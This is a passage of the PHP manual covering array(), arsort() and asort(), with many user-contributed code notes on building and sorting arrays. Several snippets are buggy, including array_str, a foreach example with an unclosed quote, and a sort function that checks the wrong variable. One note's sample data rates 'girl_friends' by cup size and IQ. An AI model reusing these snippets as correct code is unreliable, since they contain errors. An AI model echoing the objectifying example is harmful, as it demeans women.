    if (count($array) === 0)
    {
        trigger_error('Array is empty.',  E_USER_WARNING);
        return null;
    }

    $rand = mt_rand(0, count($array) - 1);
    $array_keys = array_keys($array);

    return $array[$array_keys[$rand]];
}
?>
sam barrow 13-Nov-2007 07:46
check out these functions - retrieves a random element or key of an array (numeric or string indexes, doesn't matter).

function randomKey(array $array)
    {
        global $mod, $plg, $sec ;

        $rand = rand(0, count($array) - 1) ;

        $counter = 0 ;
        foreach (array_keys($array) as $key)
            {
                if ($counter++ == $rand)
                    {
                        return $key ;
                    }
            }

        trigger_error('Array is empty.', E_USER_WARNING) ;
    }

function randomElement(array $array)
    {
        global $mod, $plg, $sec ;

        $rand = rand(0, count($array) - 1) ;

        $counter = 0 ;
        foreach ($array as $value)
            {
                if ($counter++ == $rand)
                    {
                        return $value ;
                    }
            }

        trigger_error('Array is empty.', E_USER_WARNING) ;
    }
Mike Mackintosh 30-Oct-2007 06:38
If you need to add an object as an array key, for example an object from Simple XML Parser, you can use the following.

File.XML
<?xml version="1.0" encoding="UTF-8"?>
<Settings type="General">
  <Setting name="SettingName">This This This</Setting>
</Settings>

The script:
<?php
$raw = $xml =  new SimpleXMLElement('File.XML');
foreach($raw->Setting as $A => $B)
{
    // Set Array From XML
    $Setting[(string) $B['name']] = (string)  $B[0];
}
?>
By telling the key to read the object as a string, it will let you set it.

Hope this helps someone out!
webmaster at phpemailformprocessor dot com 07-Aug-2006 06:48
When using an array to create a list of keys and values for a select box generator which will consist of states I found using "NULL" as an index and ""(empty value) as a value to be useful:

<?php

$states = array(
    0    => 'Select a State',
    NULL => '',
    1    => 'AL - Alabama',
    2    => 'AK - Alaska',
    # And so on ...
);

$select = '<select name="state" id="state" size="1">'."\r\n";

foreach($states as $key => $value){
    $select .= "\t".'<option value="'.$key.'">' . $value.'</option>'."\r\n";
}

$select .= '</select>';

echo $select;

?>

 This will print out:

<select name="state" id="state" size="1">
    <option value="0">Select a State</option>
    <option value=""></option>
    <option value="1">AL - Alabama</option>
    <option value="2">AK - Alaska</option>
    # And so on ...

</select>

Now a user has a blank value to select if they later decide to not provide their address in the form. The first two options will return TRUE when checked against the php function - EMPTY() after the form is submitted when processing the form
jupiter at nospam dot com 02-Jun-2006 12:33
<?php

// changes any combination of multiarray elements and subarrays
// into a consistent 2nd level multiarray, tries to preserves keys
function changeMultiarrayStructure($multiarray, $asc = 1) {
  if ($asc == 1) {  // use first subarrays for new keys of arrays
    $multiarraykeys = array_reverse($multiarray, true);
  } else {  // use the last array keys
    $multiarraykeys = $multiarray;  // use last subarray keys
  }  // end array reordering
  $newarraykeys = array();  // establish array
  foreach ($multiarraykeys as $arrayvalue) {  // build new array keys
    if (is_array($arrayvalue)) {  // is subarray an array
      $newarraykeys = array_keys($arrayvalue) + $newarraykeys;
    }  // if count(prevsubarray)>count(currentarray), extras survive
  }  // end key building loop
  foreach ($multiarray as $newsubarraykey => $arrayvalue) {
    if (is_array($arrayvalue)) {  // multiarray element is an array
      $i = 0;  // start counter for subarray key
      foreach ($arrayvalue as $subarrayvalue) {  // access subarray
        $newmultiarray[$newarraykeys[$i]][$newsubarraykey] = $subarrayvalue;
        $i++;  // increase counter
      }  // end subarray loop
    } else {  // multiarray element is a value
      foreach ($newarraykeys as $newarraykey) {  // new subarray keys
        $newmultiarray[$newarraykey][$newsubarraykey] = $arrayvalue;
      }  // end loop for array variables
    }  // end conditional
  }  // end new multiarray building loop
  return $newmultiarray;
}

// will change
$old = array('a'=>1,'b'=>array('e'=>2,'f'=>3),'c'=>array('g'=>4),'d'=>5);
// to
$new = array('e'=>array('a'=>1,'b'=>2,'c'=>4,'d'=>5),
  'f'=>array('a'=>1,'b'=>3,'d'=>5));

// note: if $asc parameter isn't default, last subarray keys used

?>

The new key/value assignment pattern is clearer with bigger arrays.
I use this to manipulate input/output data from my db. Enjoy.
bill at carneyco dot com 03-Feb-2006 05:42
I wanted to be able to control the flow of data in a loop instead of just building tables with it or having to write 500 select statements for single line items. This is what I came up with thanks to the help of my PHP brother in FL. Hope someone else gets some use out it.
<?

//set array variable
$results = array();

//talk to the db
$query = "SELECT * FROM yourtable";
$result = mysql_query($query) or die(mysql_error());

//count the rows and fields
$totalRows = mysql_num_rows($result);
$totalFields = mysql_num_fields($result);

//start the loop
for ( $i = 0; $i < $totalRows; ++$i ) {

//make it 2 dim in case you change your order
  $results[$i] = mysql_fetch_array($result);

//call data at will controlling the loop with the array
echo $results[your_row_id]['your_field_name']; }

//print the entire array to see what lives where
print_r($results);  ?>
php 07-Jan-2006 12:30
This function converts chunks of a string in an array:

function array_str($str, $len) {
  $newstr = '';
  for($i = 0; $i < strlen($str); $i++) {
    $newstr .= substr($str, $i, $len);
  }
  return $newstr;
}

use it as:

$str = "abcdefghilmn";
echo "<table width=\"100%\">\n";
foreach(array_str($str, 4) as $chunk) {
  echo "<tr><td>".$chunk."</td></tr>\n";
}
echo "</table>";

this prints:

------
abcd
------
efgh
------
ilmn
------

It don't use regular expressions. Please add this function to php :)
matthiasDELETETHIS at ansorgs dot de 31-May-2005 11:52
How to use array() to create an array of references rather than of copies? (Especially needed when dealing with objects.) I played around somewhat and found a solution: place & before the parameters of array() that shall be references. My PHP version is 4.3.10.

Demonstration:

<?php
$ref1 = 'unchanged';
$ref2 = & $ref1;

$array_of_copies = array($ref1, $ref2);
print_r($array_of_copies); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_copies[0] = 'changed'; // $ref1 = 'changed'; is not equivalent, as it was _copied_ to the array
print_r($array_of_copies); // prints: Array ( [0] => changed [1] => unchanged )

$array_of_refs = array(& $ref1, & $ref2); // the difference: place & before arguments
print_r($array_of_refs); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_refs[0] = 'changed'; // $ref1 = 'changed'; is equivalent as $array_of_refs[0] references $ref1
print_r($array_of_refs, true); // prints: Array ( [0] => changed [1] => changed )
?>
aissatya at yahoo dot com 16-May-2005 10:48
<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>
<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>
<?php
$fruits = array (
   "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
   "numbers" => array(1, 2, 3, 4, 5, 6),
   "holes"  => array("first", 5 => "second", "third")
);
?>
brian at blueeye dot us 22-Apr-2005 02:34
If you need, for some reason, to create variable Multi-Dimensional Arrays, here's a quick function that will allow you to have any number of sub elements without knowing how many elements there will be ahead of time. Note that this will overwrite an existing array value of the same path.

<?php
// set_element(array path, mixed value)
function set_element(&$path, $data) {
    return ($key = array_pop($path)) ? set_element($path, array($key=>$data)) : $data;
}
?>

For example:

<?php
echo "<pre>";
$path = array('base', 'category', 'subcategory', 'item');
$array = set_element($path, 'item_value');
print_r($array);
echo "</pre>";
?>

Will display:
Array
(
    [base] => Array
        (
            [category] => Array
                (
                    [subcategory] => Array
                        (
                            [item] => item_value
                        )
                )
        )
)
mortoray at ecircle-ag dot com 18-Feb-2005 02:35
Be careful if you need to use mixed types with a key of 0 in an array, as several distinct forms end up being the same key:

$a = array();
$a[null] = 1;
$a[0] = 2;
$a['0'] = 3;
$a["0"] = 4;
$a[false] = 5;
$a[0.0] = 6;
$a[''] = 7;
$a[] = 8;

print_r( $a );

This will print out only 3 values: 6, 7, 8.
rdude at fuzzelish dot com 17-Feb-2005 10:35
If you are creating an array with a large number of static items, you will find serious performance differences between using the array() function and the $array[] construct. For example:
<?
 // Slower method
 $my_array = array(1, 2, 3, � 500);

 // Faster method
 $my_array[] = 1;
 $my_array[] = 2;
 $my_array[] = 3;
 �
 $my_array[] = 500;
?>
phpm at nreynolds dot me dot uk 11-Jan-2005 05:24
This helper function creates a multi-dimensional array. For example, creating a three dimensional array measuring 10x20x30: <?php $my_array = multi_dim(10, 20, 30); ?>

<?php

function multi_dim()
{
    $fill_value = null;

    for ($arg_index = func_num_args() - 1; $arg_index >= 0; $arg_index--) {
        $dim_size = func_get_arg($arg_index);
        $fill_value = array_fill(0, $dim_size, $fill_value);
    }

    return $fill_value;
}

?>
baZz 17-Oct-2003 12:27
Chek this out!!!. Suppose that you want to create an array like the following:
<?php
  $arr1 = (
    0 => array ("customer"=>"Client 1","Item a"),
    1 => array ("customer"=>"Client 2","Item b")
  );
?>
Seems prety easy, but what if you want to generate it dinamically woops!!!.  Imagine that you have a file with thousands of lines and each line is a purchase order from diferent clients:
<?php
/*function to add elements*/
function addArray(&$array, $id, $var)
{
    $tempArray = array( $var => $id);
    $array = array_merge ($array, $tempArray);
}
/*The same as above but the element is an array*/
function addArrayArr(&$array, $var, &$array1)
{
    $tempArray = array($var => $array1);
    $array = array_merge ($array, $tempArray);
}
/*labels of our array or heders of the file*/
$keyarr = array("customer","item");
/*info that may you read from a file line 1 and 2*/
$valarr0 = array("Client 1","Item a");
$valarr1 = array("Client 2","Item b");

$numofrows = 2;/*In our case is just two lines*/
$tmpArray = array();
for($i = 0; $i < $numofrows; $i++){
  $tmp = "valarr$i";
  $tmpvar = ${$tmp};/*Using var of vars tricky tricky*/
  foreach( $keyarr as $key=>$value){
    addArray($tmparr,$tmpvar[$key],$value);
  }
  addArrayArr($finalarr,$i,$tmparr);
} /*voila all it's perfectly ordered on finalarr*/

/*Here we just print the info but you can insert it into a database*/
echo "Customer: ".$finalarr[0]["customer"]."<br>";
echo "Item: ".$finalarr[0]["item"]."<br>";
echo "Customer: ".$finalarr[1]["customer"]."<br>";
echo "Item: ".$finalarr[1]["item"]."<br>";
?>

The lines above should print something like:
Customer: Client 1
Item: Item a
Customer: Client 2
Item: Item b
I hope someone find this useful.
TCross1 at hotmail dot com 03-Sep-2003 09:38
here is the sort of "textbook" way to output the contents of an array which avoids using foreach() and allows you to index & iterate through the array as you see fit:

<?php

$arrayName = array("apples", "bananas", "oranges", "pears");
$arrayLength = count($arrayName);

for ($i = 0; $i < $arrayLength; $i++){
    echo "arrayName at[" . $i . "] is: [" .$arrayName[$i] . "]<br>\n";
}

?>

enjoy!

-tim
10-May-2003 12:53
Similarly to a comment by stlawson at sbcglobal dot net on this page:
http://www.php.net/basic-syntax.instruction-separation

It is usually advisable to define your arrays like this:
$array = array(
     'foo',
     'bar',
);

Note the comma after the last element - this is perfectly legal. Moreover,
it's best to add that last comma so that when you add new elements to the
array, you don't have to worry about adding a comma after what used to be
the last element.

<?php
$array = array(
     'foo',
     'bar',
     'baz',
);
?>
marcel at labor-club dot de 25-Feb-2003 04:58
i tried to find a way to create BIG multidimensional-arrays. but the notes below only show the usage of it, or the creation of small arrays like $matrix=array('birne', 'apfel', 'beere');

for an online game, i use a big array (50x80) elements.
it's no fun, to write the declaration of it in the ordinary way.

here's my solution, to create an 2d-array, filled for example with raising numbers.

<?php
$matrix=array();
$sx=30;
$sy=40;
$i=1;
for ($y=0; $y<$sy; $y++)
{
    array_push($matrix,array());
    for ($x=0; $x<$sx; $x++)
    {
        array_push($matrix[$y],array());
        $matrix[$x][$y]=$i;
        $i++;
    }
}
?>

if there is a better way, plz send an email. i always want to learn more php!
MadLogic at Paradise dot net dot nz 31-Oct-2002 11:39
Heres a simple yet intelligent way of setting an array, grabbing the values from the array using a loop.

<?php
$ary = array("1"=>'One','Two',"3"=>'Three');
$a = '0'; $b = count($ary);
while ($a <= $b) {
  $pr = $ary[$a];
  print "$pr<br>";
  $a++;
}
?>
mads at __nospam__westermann dot dk 23-Oct-2002 04:39
In PHP 4.2.3 (and maybe earlier versions) arrays with numeric indexes may be initialized to start at a specific index and then automatically increment the index. This will save you having to write the index in front of every element for arrays that are not zero-based.

The code:

<?php
                  $a = array
        (
            21    => 1,
            2,
            3,
        );
    print '<pre>';
    print_r($a);
    print '</pre>';
?>

will print:

<?php
Array
(
    [21] => 1
    [22] => 2
    [23] => 3
)
?>
John 18-Jul-2002 08:48
Be careful not to create an array on top of an already existing variable:

<?php
$name = "John";
$name['last'] = "Doe";
?>

$name becomes "Dohn" since 'last' evaluates to the 0th position of $name.
Same is true for multi-arrays.
jay at ezlasvegas dot net 21-Apr-2002 01:21
If you want to create an array of a set size and you have PHP4, use
array_pad(array(), $SIZE, $INITIAL_VALUE); This can be handy if you wish
to initialize a bunch of variables at once:

list($Var1, $Var2, etc) = array_pad(array(), $NUMBER_OF_VARS,
$INITIAL_VALUE);

Jay Walker
Las Vegas Hotel Associate
http://www.ezlasvegas.net
jjm152 at hotmail dot com 11-Mar-2002 03:22
The easiest way to "list" the values of either a normal 1 list array or a multi dimensional array is to use a foreach() clause.

Example for 1 dim array:

<?php
   $arr = array( 1, 2, 3, 4, 5 );
   foreach ( $arr as $val ) {
       echo "Value: $Val\n";
      }
?>

For multi dim array:

<?php
     $arr = array( 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four, 5 => 'five');
      foreach ( $arr as $key => $value ) {
       echo "Key: $key, Value: $value\n";
      }
?>

This is quite possibly the easiest way i've found to iterate through an array.
tobiasquinteiro at ig dot com dot br 29-Jan-2002 09:25
<?
        // This is a small script that shows how to use an multiple array
        for($x = 0;$x < 10;$x++){
                for($y = 0;$y < 10;$y++){
                        $mat[$x][$y] = "$x,$y";
                }
        }

        for($x = 0;$x < count($mat);$x++){
                for($y = 0;$y < count($mat[$x]);$y++){
                        echo    "mat[$x][$y]: " .
                                $mat[$x][$y] . " ";
                }
                echo "\n";
        }
?>
joshua dot e at usa dot net 24-May-2001 08:12
Here's a cool tip for working with associative arrays-
Here's what I was trying to accomplish:

I wanted to hit a DB, and load the results into an associative array, since I only had key/value pairs returned. I loaded them into an array, because I wanted to manipulate the data further after the DB select, but I didn't want to hit the DB more than necessary.

Here's how I did it:

<?php
//assume db connectivity
//load it all into the associative array
$sql = "SELECT key,value FROM table";
$result = mysql_query($sql);
while($row = mysql_fetch_row($result)) {
$myArray[$row[0]] = $row[1];
}
//now we expand it
while(list($key,$value) = each($myArray)) {
echo "$key : $value";
}
?>

I found this to be super efficient, and extremely cool.
slicky at newshelix dot com 20-Mar-2001 10:57
Notice that you can also add arrays to other arrays with the $array[] "operator" while the dimension doesn't matter.

Here's an example:
$x[w][x] = $y[y][z];
this will give you a 4dimensional assosiative array.
$x[][] = $y[][];
this will give you a 4dimensional non assosiative array.

So let me come to the point. This get interessting for shortening things up. For instance:

<?php
        foreach ($lines as $line){
            if(!trim($line)) continue;
            $tds[] = explode("$delimiter",$line);
        }
?>
rubein at earthlink dot net 26-Sep-2000 08:07
Multidimensional arrays are actually single-dimensional arrays nested inside other single-dimensional arrays.

$array[0] refers to element 0 of $array
$array[0][2] refers to element 2 of element 0 of $array.

If an array was initialized like this:

$array[0] = "foo";
$array[1][0] = "bar";
$array[1][1] = "baz";
$array[1][2] = "bam";

then:
is_array($array) = TRUE
is_array($array[0]) = FALSE
is_array($array[1]) = TRUE
count($array) = 2 (elements 0 and 1)
count($array[1] = 3 (elements 0 thru 2)

This can be really useful if you want to return a list of arrays that were stored in a file or something:

$array[0] = unserialize($somedata);
$array[1] = unserialize($someotherdata);

if $somedata["foo"] = 42 before it was serialized previously, you'd now have this:
$array[0]["foo"] = 42


Sort an array in reverse order and maintain index association

  • « array
  • asort »
  • PHP Manual
  • Array Functions
  • Sort an array in reverse order and maintain index association

arsort

(PHP 4, PHP 5)

arsort — Sort an array in reverse order and maintain index association

Description

bool arsort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

This function sorts an array such that array indices maintain their correlation with the array elements they are associated with.

This is used mainly when sorting associative arrays where the actual element order is significant.

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 arsort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
arsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

a = orange
d = lemon
b = banana
c = apple

The fruits have been sorted in reverse alphabetical order, and the index associated with each element has been maintained.

See Also

  • asort() - Sort an array and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

sebas2day 07-May-2012 11:52
If you are dealing with a multidimensional array you want to sort, then this might be helpfull:

<?php
function array_sort($arr){
    if(empty($arr)) return $arr;
    foreach($arr as $k => $a){
        if(!is_array($a)){
            arsort($arr); // could be any kind of sort
            return $arr;
        }else{
            $arr[$k] = array_sort($a);
        }
    }
    return $arr;
}
?>
FatBat 13-Oct-2011 10:40
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>
jordancdarwin at googlemail dot com 15-Dec-2007 11:21
A lot of people seem to trip up on this and ask me questions as to debugging. Bear in mind that this returns boolean, and does not return an array of affected items.

$array = array("One"=>1, "Three" => 3,"Two" =>2);
print_r(asort($array));

If successful, will return 1, and error if there is a string used. Useful to note so then people stop asking me :D
rodders_plonker at yahoo dot com 22-Aug-2000 03:43
I was having trouble with the arsort() function on an older version of PHP which was returning an error along the lines of 'wrong perameter count for function arsort' when I tried to use a flag for numeric sorting (2/SORT_NUMERIC).
I figured, as I only wanted to sort integers, I could pad numbers from the left to a specific length with 0's (using the lpad function provided by improv@magma.ca in the notes at http://www.php.net/manual/ref.strings.php).
A string sort then correctly sorts numerically (i.e. {30,2,10,21} becomes {030,021,010,002} not {30,21,2,10}) when echoing the number an (int)$string_name hides the leading 0's.

Made my day :).

Rodders.
morgan at anomalyinc dot com 25-Nov-1999 04:30
If you need to sort a multi-demension array, for example, an array such as

$TeamInfo[$TeamID]["WinRecord"]
$TeamInfo[$TeamID]["LossRecord"]
$TeamInfo[$TeamID]["TieRecord"]
$TeamInfo[$TeamID]["GoalDiff"]
$TeamInfo[$TeamID]["TeamPoints"]

and you have say, 100 teams here, and want to sort by "TeamPoints":

first, create your multi-dimensional array. Now, create another, single dimension array populated with the scores from the first array, and with indexes of corresponding team_id... ie
$foo[25] = 14
$foo[47] = 42
or whatever.
Now, asort or arsort the second array.
Since the array is now sorted by score or wins/losses or whatever you put in it, the indices are all hoopajooped.
If you just walk through the array, grabbing the index of each entry, (look at the asort example. that for loop does just that) then the index you get will point right back to one of the values of the multi-dimensional array.
Not sure if that's clear, but mail me if it isn't...
-mo


Sort an array and maintain index association

  • « arsort
  • compact »
  • PHP Manual
  • Array Functions
  • Sort an array and maintain index association

asort

(PHP 4, PHP 5)

asort — Sort an array and maintain index association

Description

bool asort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

This function sorts an array such that array indices maintain their correlation with the array elements they are associated with. This is used mainly when sorting associative arrays where the actual element order is significant.

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 asort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
asort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

c = apple
b = banana
d = lemon
a = orange

The fruits have been sorted in alphabetical order, and the index associated with each element has been maintained.

See Also

  • arsort() - Sort an array in reverse order and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

stephen [ at ] brooksie-net [ dot ] co [ dot ] uk 02-Mar-2013 01:37
It is obviously necessary to log the keys used as so we don't overwrite previous entries in the array ;o)

N.B. this also effects the timings, but still faster than the alternatives :

     * int : 0.00159    (ms)
     * str : 0.00092    (ms)

<?php
private function _keySort(Array $data)
    {
        $keys = array();

        foreach($data as $row) {

            $keyIncrement =
                (!isset($keys[$row[$this->_orderField]]))
                    ? $keys[$row[$this->_orderField]] = 0
                    : ++$keys[$row[$this->_orderField]];

            $tempArray[$row[$this->_orderField].$keyIncrement] = $row;
        }

        if ($this->_orderDirection == 'DESC') {
            krsort($tempArray, SORT_NATURAL | SORT_FLAG_CASE );
        } else {
            ksort($tempArray, SORT_NATURAL | SORT_FLAG_CASE);
        }

        return $tempArray;

    }
?>
nick ([AT]) nickyost ([DOT]) com 16-Sep-2011 12:32
This function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution.

Hope it helps!
Anon 07-May-2011 02:37
Case insensitive sort in one line:

<?php

array_multisort(array_map('strtolower', $array), $array);

?>
rick at toewsweb dot net 29-Apr-2011 01:40
On sorting by value first, then by key (cf., 2008-01-31 notes by mike at clear-link dot com):

What occurred to me to solve this problem was to extract the keys and values into separate arrays, then use array_multisort to get the desired order:

Ex:
<?php
$kvpairs = array('noun' => 'thought', 'animal' => 'fish', 'abstract' => 'thought', 'food' => 'fish', 'verb' => 'fish');
print "before:\n";
print_r($kvpairs);

// Essentially, one line of code is all that's needed for the sort:
array_multisort(array_values($kvpairs), array_keys($kvpairs), $kvpairs);

print "after:\n";
print_r($kvpairs);
?>

before:
Array
(
    [noun] => thought
    [animal] => fish
    [abstract] => thought
    [food] => fish
    [verb] => fish
)
after:
Array
(
    [animal] => fish
    [food] => fish
    [verb] => fish
    [abstract] => thought
    [noun] => thought
)

Of course, array_multisort allows you to specify sort order (SORT_ASC, SORT_DESC) and sort type (SORT_REGULAR, SORT_STRING, SORT_NUMERIC) for each array you pass it.
Eran 22-Apr-2009 02:15
i made this sample multi dimensional array sort to someone who needed to read lines from a text file instead of using sql - order by statement.

the idea is to take the key and sort(order) the specific column and then order the entire of the array as the selected column asort returned.

<?php
/**
 *
 * This sample is reading text data
 * and perform a sort to a 2 dimensional array
 * just like a normal sql do to "order by asc"
 *
 */

$foo = array();

/*
# SORT_REGULAR - compare items normally (don't change types)
# SORT_NUMERIC - compare items numerically
# SORT_STRING - compare items as strings
*/
$sort_by = SORT_REGULAR;

/*
# 0 - order by name column
# 1 - order by age column
# 2 - order by rank column
# 3 - order by color column
*/
$order_by = 1;

// source file
$line_of_text[1] = 'a1name|f2age|h3rank|jcolor';
$line_of_text[2] = 'b1name|d2age|i3rank|k4color';
$line_of_text[0] = 'c1name|e2age|g3rank|l4color';

// make array
for ($x=0; $x<=2; $x++)
{
    $line = explode('|',$line_of_text[$x]);

    // save it by coulmns otherwise it will saved like rows
    for ($i=0; $i<=3; $i++) {
          $foo[$i][$x] = $line[$i];
    }
}

// get the key order
$a = $foo[$order_by];

// sort
asort($a, $sort_by);

// start print
echo "<table cellpudding=0 cellspacing=0 border=1>\n";
        echo "<tr>\n";
          echo "<td>key</td>\n";
          echo "<td>name</td>\n";
          echo "<td>age</td>\n";
          echo "<td>rank</td>\n";
          echo "<td>color</td>\n";
        echo "</tr>\n";

// print by key order
foreach ($a as $k => $v) {
    echo "<tr>\n";
      echo "<td>$k</td>\n";
      // you can print here a for loop (0 to num of columns[=3])
      echo "<td>".$foo[0][$k]."</td>\n";
      echo "<td>".$foo[1][$k]."</td>\n";
      echo "<td>".$foo[2][$k]."</td>\n";
      echo "<td>".$foo[3][$k]."</td>\n";
    echo "</tr>\n";
}
echo "</table>\n";
?>
bakatamas at freemail dot hu 15-Feb-2008 11:34
Dear mike at clear-link dot com!

I needed a case insensitive version of your function. It is still not perfect as I have to do something with country specific characters (öüóőúéáűíÖÜÓŐÚÉÁŰÍ)

function akisort(&$array,$valrev=false,$keyrev=false)
    {
    if ($valrev)
        {
        arsort($array);
        }
        else
        {
        asort($array);
        };
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num)
        {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        $tmp2 = array();
        foreach($tmp as $key => $value)
            {
            $tmp2[] = $key;
            $number = $value;
            };
        natcasesort($tmp2);
        reset($tmp2);
        print_r($tmp2);
        unset($tmp);
        foreach($tmp2 as $key => $value)
            {
            $tmp[$value] = $number;
            };
        if($keyrev)
            {
            $tmp = array_reverse($tmp, true);
            };
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        };
};
mike at clear-link dot com 01-Feb-2008 12:56
Small typo in the aksort function I just submitted. Here's the entire thing again, with the correction noted:

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
  $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        // Fixed from previous post: $i = $num;
    }
}
?>
mike at clear-link dot com 01-Feb-2008 12:23
For a recent project I needed to sort an associative array by value first, and then by key if a particular value appeared multiple times. I wrote this function to accomplish the task. Note that the parameters default to sort ascending on both keys and values, but allow granular control over each.

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $num;
    }
}

// Example
$tmp = array('ca'=>1,'cb'=>2,'ce'=>1,'pa'=>2,'pe'=>1);

// Standard asort
asort($tmp);
print_r($tmp);

// Sort value ASC, key ASC
aksort($tmp);
print_r($tmp);

// Sort value DESC, key ASC
aksort($tmp,true);
print_r($tmp);

// Sort value DESC, key DESC
aksort($tmp,true,true);
print_r($tmp);

// Results
Array
(
    [pe] => 1
    [ca] => 1
    [ce] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [ca] => 1
    [ce] => 1
    [pe] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [cb] => 2
    [pa] => 2
    [ca] => 1
    [ce] => 1
    [pe] => 1
)
Array
(
    [pa] => 2
    [cb] => 2
    [pe] => 1
    [ce] => 1
    [ca] => 1
)
mzvarik at gmail dot com 16-Jan-2008 06:29
I noticed that my function mentioned earlier is very misleading - somebody please delete that note!

This is how you sort:
<?php
setlocale (LC_ALL, 'czech');
$array = array("a", "č", "c");
usort ($array, 'strcoll');
print_r($array);
?>
przemekkus [at] interia [dot] pl 02-Nov-2007 03:34
Function written by a dot brandon at chello dot nl has an error  - wrong variable name. It should be:

if($rev) arsort($named_hash,$flags=0) ;

instead of

if($reverse) arsort($named_hash,$flags=0) ;
a dot brandon at chello dot nl 26-Jun-2007 04:18
I use this for quasi-SQL orderby. Loosely based on smileaf. Any good for you nerds?

<?

function named_records_sort($named_recs, $order_by, $rev=false, $flags=0)
{// Create 1-dimensional named array with just
 // sortfield (in stead of record) values
    $named_hash = array();
     foreach($named_recs as $key=>$fields)
             $named_hash["$key"] = $fields[$order_by];

 // Order 1-dimensional array,
 // maintaining key-value relations
    if($reverse) arsort($named_hash,$flags=0) ;
    else asort($named_hash, $flags=0);

 // Create copy of named records array
 // in order of sortarray
    $sorted_records = array();
    foreach($named_hash as $key=>$val)
           $sorted_records["$key"]= $named_recs[$key];

return $sorted_records;} // named_recs_sort()

function show_sorted_records($named_recs, $order_by, $rev=false, $flags=0)
{$sorted_records=named_records_sort($named_recs, $order_by, $rev, $flags);
foreach($sorted_records as $name=>$fields)
  {echo "<b>$name</b>   ";
   foreach($fields as $field=>$val)
          echo "$field = $val "; echo "<br>";}
} // show_sorted_records()

$girl_friends=array();
$girl_friends["Anna"]=
array("born"=>'1989-08-22',"cupsize"=>'B-',"IQ"=>105, "daddy"=>'rich');
$girl_friends["Zoe"]
=array("born"=>'1978-03-11',"cupsize"=>'C#',"IQ"=>130, "daddy"=>'poor');
$girl_friends["Lilly"]
=array("born"=>'1985-06-16',"cupsize"=>'DD',"IQ"=>90, "daddy"=>'nasty');

$order_by="cupsize"; echo "And the winners are: <br>";
show_sorted_records($girl_friends, $order_by, true);

?>
gunnar at taljaren dot se 14-Jun-2007 10:00
for ($i=0;$i<5;$i++)
   $values[] = $i;
asort($values);

works, but
for ($i=0;$i<5;$i++)
   $values[$i] =$i;
asort($values);
doesn't!
smileaf at smileaf dot org 25-Jan-2007 03:34
Ok I was mistaken, after re-reading the previous post the ".$key" is important. What caused the sorting issue for me wasn't that at all. But rather something else.
doing an: asort($records, $flags); before returning fixes the sorting problems.
The sorting problem I was refearing to causes a character based sorting done on numeric data.
so instead of:
1
2
3
...
10
12
20
It was returned back as
1
10
12
2
20
3
...
basically what I was trying to fix in the first place.
richard at happymango dot me dot uk 23-Nov-2006 12:52
This is a fixed version of the same function I posted below. Now it will handle duplicate entries in the sorted field. EG: If there were two records that had the name Heathrow it would still work.

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $key => $record)
    {
        $hash[$record[$field].$key] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

?>
richard at happymango dot me dot uk 22-Nov-2006 12:35
This is a function to sort an indexed 2D array by a specified sub array key, either ascending or descending.

It is usefull for sorting query results from a database by a particular field after the query has been returned

This function can be quite greedy. It recreates the array as a hash to use ksort() then back again

By default it will sort ascending but if you specify $reverse as true it will return the records sorted descending

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $record)
    {
        $hash[$record[$field]] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

// Example below

$airports = array
(
